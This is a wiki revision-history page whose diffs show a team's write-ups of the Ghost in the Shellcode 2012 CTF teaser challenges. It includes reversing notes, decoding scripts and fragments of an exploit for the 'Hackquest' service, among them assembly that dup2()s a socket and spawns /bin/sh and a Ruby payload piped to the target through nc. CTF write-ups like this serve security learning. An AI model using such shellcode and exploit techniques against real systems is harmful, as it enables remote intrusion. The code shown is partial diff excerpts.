Gits2012teaser - Revision history

Rorist: moved CTF/gits2012teaser to Gits2012teaser

2012-10-22T08:24:31Z

moved CTF/gits2012teaser to Gits2012teaser

Rorist at 08:15, 22 October 2012

2012-10-22T08:15:01Z

Francois at 15:46, 8 January 2012

2012-01-08T15:46:06Z

Francois at 15:39, 8 January 2012

2012-01-08T15:39:48Z

Show changes

Francois at 15:30, 8 January 2012

2012-01-08T15:30:41Z

Francois: /* #1 TelAviv */

2012-01-08T15:26:33Z

‎#1 TelAviv

Francois: /* #1 TelAviv */

2012-01-08T15:25:29Z

‎#1 TelAviv

Francois: /* Solution */

2012-01-08T15:05:03Z

‎Solution

Francois at 14:58, 8 January 2012

2012-01-08T14:58:17Z

Francois at 14:55, 8 January 2012

2012-01-08T14:55:46Z

← Older revision		Revision as of 08:15, 22 October 2012
Line 1:		Line 1:
		+	[[Category:CTF]]
	[[Image:gits-scores.png]]		[[Image:gits-scores.png]]

← Older revision		Revision as of 15:46, 8 January 2012
Line 1:		Line 1:
		+	[[Image:gits-scores.png]]
		+
	= Ghost in the Shellcode 2012 Teasers writeups =		= Ghost in the Shellcode 2012 Teasers writeups =

@@ Line 168: / Line 168: @@
 * analyze disassembly, extract C representation:
-<pre>
+<syntaxhighlight lang="c">
 int
 VerifySerial(uint64_t name, uint64_t serial)
@@ Line 196: / Line 196: @@
 	return (result == 1);
+}
-</pre>
+</syntaxhighlight>
 * it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
@@ Line 203: / Line 203: @@
 * lacking math package fu, implement a gaussian elimination manually:
-<pre>
+<syntaxhighlight lang="ruby">
 class Numeric
    def bits64
@@ Line 324: / Line 324: @@
    puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
 end
-</pre>
+</syntaxhighlight>
 == #3 Hackquest ==
@@ Line 341: / Line 341: @@
 * struct ItemInfo contains a union:
-<pre>
+<syntaxhighlight lang="cpp">
 union
+{
@@ Line 358: / Line 358: @@
          } namedUnwrap;
 } info;
-</pre>
+</syntaxhighlight>
 * magical item:
-<pre>
+<syntaxhighlight lang="cpp">
 {"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
-</pre>
+</syntaxhighlight>
 * use() has an insufficient test:
-<pre>
+<syntaxhighlight lang="cpp">
 if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
      (item->type == ITEM_UNWRAP))
@@ Line 381: / Line 381: @@
          showDesc = item->info.action.actionInfo->showDesc;
+}
-</pre>
+</syntaxhighlight>
 * if we "use letter on $target", we can make it call ->func()
@@ Line 395: / Line 395: @@
 * bootstrap code copies stack-relative buffer to our page, then transfers control:
-<pre>
+<syntaxhighlight lang="asm">
 	leal	0x41(%esp),%esi	# calc source from stack offset
 	popl	%edi		# dest addr is already on stack
@@ Line 405: / Line 405: @@
 	popl	%edi		# retrieve old dest
 	jmp	*%edi		# jump there
-</pre>
+</syntaxhighlight>
 * remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
-<pre>
+<syntaxhighlight lang="asm">
 	pushl	%ecx		# ecx was cleared by rep above, put 0 on stack
 	movl	0xAB(%esp),%ebx	# get socket fd from stack offset
@@ Line 427: / Line 427: @@
 	movb	$0xb,%al	# execve syscall number
 	int	$0x80		# magic!
-</pre>
+</syntaxhighlight>
 * cat key.txt
@@ Line 433: / Line 433: @@
 * all combined, use as (ruby h.rb; cat) | nc host 7331
-<pre>
+<syntaxhighlight lang="ruby">
 addr = 0x60606000               # our page address
 src = 0x804c2a0                 # from 0x80498f4
@@ Line 532: / Line 532: @@
    print cp
 end
-</pre>
+</syntaxhighlight>

@@ Line 142: / Line 142: @@
 x2f 0x5 0xb 0x1
-Sums: [136, 228, 222, 64, 180, 214, 198, 198, 206, 242, 196, 220, 64, 230, 198, 116, 64, 68, 136, 228, 222, 64, 156, 214, 64, 140, 230, 240, 218, 230, 64, 154, 242, 220, 222, 68, 64]
+Sums: [136, 228, 222, 64, 180, 214, 198, 198,
 Divide by 2 and then convert to ASCII:

@@ Line 33: / Line 33: @@
 The following Python script ([[Media:tlv.py.gz|tlv.py]]) decodes the password:
- <nowiki>#!/usr/bin/env python
+<syntaxhighlight lang="python">
+#
 # http://ghostintheshellcode.com/
@@ Line 98: / Line 99: @@
      sys.stdout.write(".")
 print
-</nowiki>
+</syntaxhighlight>
 <pre>

← Older revision	Revision as of 08:24, 22 October 2012
(No difference)

@@ Line 75: / Line 75: @@
 #print
-# Sum all byte values for each packet
+# Sum all byte values for each packet (idea comes from the + sign in the hint TeLaViv+)
 sums = [sum(row) for row in numbers]
 print "Sums: " + repr(sums)

@@ Line 1: / Line 1: @@
 = Ghost in the Shellcode 2012 Teasers writeups =
 http://ghostintheshellcode.com/
 The following writeups have been made by members of the FIXME team during between January 6th and January 8th.

← Older revision		Revision as of 14:55, 8 January 2012
Line 1:		Line 1:
		+	= Ghost in the Shellcode 2012 Teasers writeups =
		+
		+	Thanks to the organizers for this pretty nice teaser.
		+
		+	http://ghostintheshellcode.com/
		+
		+	The following writeups have been made by members of the FIXME team during between January 6th and January 8th.
		+
	== #1 TelAviv ==		== #1 TelAviv ==